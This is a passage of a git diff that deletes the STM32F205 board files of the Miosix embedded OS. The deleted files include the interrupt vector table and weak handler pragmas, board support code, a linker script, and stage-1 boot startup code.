DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 0ce786ce2..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F205xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp.cpp deleted file mode 100644 index ecf45f595..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,130 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/dcc.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - #ifndef STDOUT_REDIRECTED_TO_DCC - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); - #else //STDOUT_REDIRECTED_TO_DCC - new ARMDCC)); - #endif //STDOUT_REDIRECTED_TO_DCC -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -};//namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp_impl.h deleted file mode 100644 index d0d3a30bd..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,65 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -inline void ledOn() {} -inline void ledOff() {} - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - */ -inline bool sdCardSense() -{ - return true; -} - -/** -\} -*/ - -};//namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/stm32_1m+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f205_generic/stm32_1m+128k_rom.ld deleted file mode 100644 index e72e7644e..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205_generic/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 128KB microcontrollers */ -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0, LENGTH = 1M - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 128K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/core/stage_1_boot.cpp deleted file mode 100644 index e4d867df5..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/core/stage_1_boot.cpp +++ /dev/null @@ -1,377 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f2 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - //The memcpy is usually enclosed in an #ifndef __ENABLE_XRAM, in other - //boards but in this case it is not, since the *_code_in_xram.ld linker - //script puts code in XRAM, but data in the internal one, so there's still - //the need to copy it in its final place - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) 